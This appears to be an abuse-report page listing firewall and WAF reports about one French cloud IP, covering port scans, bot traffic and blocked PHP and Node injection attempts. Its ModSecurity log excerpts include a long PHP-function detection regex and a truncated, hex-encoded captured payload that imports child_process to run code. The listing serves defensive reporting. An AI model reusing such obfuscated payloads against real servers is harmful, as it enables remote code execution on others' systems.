🇺🇸
HamSammich
2026-11-10 17:51:42
UTC ·
(1 hour ago)
Automated sensor: 4 HTTPS connection/probe attempts over the last 24h (latest 2026-11-10T17:51Z).
Port Scan
Web App Attack
🇫🇮
as211431.net
2026-11-10 12:45:35
UTC ·
(6 hours ago)
Triggered Cloudflare WAF (firewallCustom) from FR.
Action taken: BLOCK
Protocol: HTTP/1.1 (POST method)
Endpoint: /
UA: Python/3.10 aiohttp/3.14.5
This report was generated by:
https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB
Bad Web Bot
🇨🇭
4server
2026-11-10 03:50:57
UTC ·
(15 hours ago)
[TueNov1004:50:50.0179862026][security2:error][pid3761263:tid3761472][client151.115.144.137:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\ ...
show more
[TueNov1004:50:50.0179862026][security2:error][pid3761263:tid3761472][client151.115.144.137:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e632066756e6374696f6e28297b636
show less
Hacking
Web App Attack
🇩🇪
FeG Deutschland
2026-11-10 03:00:48
UTC ·
(16 hours ago)
Looking for CMS/PHP/SQL vulnerablilities/excessive crawling - 2
Exploited Host
Web App Attack
🇫🇷
mrcrassi
2026-11-10 02:02:16
UTC ·
(17 hours ago)
Triggered Cloudflare WAF (firewallManaged) from FR.
Action taken: BLOCK
Protocol: HTTP/1.1 (POST method)
Endpoint: /
UA: Python/3.10 aiohttp/3.14.5
This report was generated by:
https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB
Bad Web Bot
🇺🇸
HamSammich
2026-11-09 16:21:24
UTC ·
(1 day ago)
Automated sensor: 4 HTTPS connection/probe attempts over the last 24h (latest 2026-11-09T16:21Z).
Port Scan
Web App Attack
🇩🇪
Vegascosmetics
2026-11-09 16:02:50
UTC ·
(1 day ago)
Kingcopy.org AI-IDS (Vegas Cosmetics shop): Abuse 100 / BAN. IP is on the AbuseIPDB blacklist and was blocked on the first request.
Hacking
Exploited Host
Web App Attack
🇺🇸
Rip
2026-11-09 09:37:28
UTC ·
(1 day ago)
PHP Injection Attack – High-Risk PHP Function Call Found
Web App Attack
🇩🇪
Admins@FBN
2026-11-09 05:58:11
UTC ·
(1 day ago)
FW-PortScan: Traffic Blocked srcport=58630 dstport=443
Port Scan
🇪🇸
pipeline.es
2026-11-09 03:08:49
UTC ·
(1 day ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Wed Oct 28 13:46:31.015978 2026] [:error] [pid 1965] [client 151.115.144.137:36636] [client 151.115.144.137] WAF: Access denied with code 403 (phase 2). Operator GT matc ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Wed Oct 28 13:46:31.015978 2026] [:error] [pid 1965] [client 151.115.144.137:36636] [client 151.115.144.137] WAF: Access denied with code 403 (phase 2). Operator GT matched 0 at TX:php_injection_score. [file \"/etc/httpd/conf.d/zz-WAF-php2shell.conf\"] [line \"17\"] [id \"9261008\"] [msg \"php2shell: inyeccion PHP (CRS 933) en bloqueo\"] [tag \"php2shell\"] [hostname \"aevav.com\"] [uri \"/\"] [u | ASN: Scaleway S.a.s. | Country: FR
show less
Web App Attack
🇩🇪
FeG Deutschland
2026-11-09 00:57:07
UTC ·
(1 day ago)
Looking for CMS/PHP/SQL vulnerablilities/excessive crawling - 2
Exploited Host
Web App Attack
🇫🇮
oh.mg
2026-11-08 17:26:53
UTC ·
(2 days ago)
[Sun Nov 08 18:26:52.220098 2026] [security2:error] [pid 3706198:tid 3706201] [client 151.115.144.137:0] [client 151.115.144.137] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/ ...
show more
[Sun Nov 08 18:26:52.220098 2026] [security2:error] [pid 3706198:tid 3706201] [client 151.115.144.137:0] [client 151.115.144.137] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 60)"] [ver "OWASP_CRS/4.10.0-dev"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "mmn.hk"] [uri "/"] [unique_id "avCw3G0yg2D3KUhYlrnWawAAAQE"]
[Sun Nov 08 18:26:52.482100 2026] [security2:error] [pid 3706198:tid 3706219] [client 151.115.144.137:0] [client 151.115.144.137] ModSecurity: Access denied with code 400 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "93"] [id "200003"] [msg "Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM 0, IQ 0, IP 0, IH 0, FL 0"] [hostname "
...
show less
Web App Attack
Bad Web Bot
2026-11-08 10:23:24
UTC ·
(2 days ago)
Web application attack.
Hacking
🇪🇸
pipeline.es
2026-11-08 01:19:32
UTC ·
(2 days ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Wed Oct 28 13:46:31.015978 2026] [:error] [pid 1965] [client 151.115.144.137:36636] [client 151.115.144.137] WAF: Access denied with code 403 (phase 2). Operator GT matc ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Wed Oct 28 13:46:31.015978 2026] [:error] [pid 1965] [client 151.115.144.137:36636] [client 151.115.144.137] WAF: Access denied with code 403 (phase 2). Operator GT matched 0 at TX:php_injection_score. [file \"/etc/httpd/conf.d/zz-WAF-php2shell.conf\"] [line \"17\"] [id \"9261008\"] [msg \"php2shell: inyeccion PHP (CRS 933) en bloqueo\"] [tag \"php2shell\"] [hostname \"aevav.com\"] [uri \"/\"] [u | ASN: Scaleway S.a.s. | Country: FR
show less
Web App Attack
🇩🇪
netclix.gr
2026-11-08 01:01:29
UTC ·
(2 days ago)
(bot_kill_mega) Aggressive Bot Blocked: Python 151.115.144.137 (FR/France/137-144-115-151.rev.scw.cloud)
Hacking
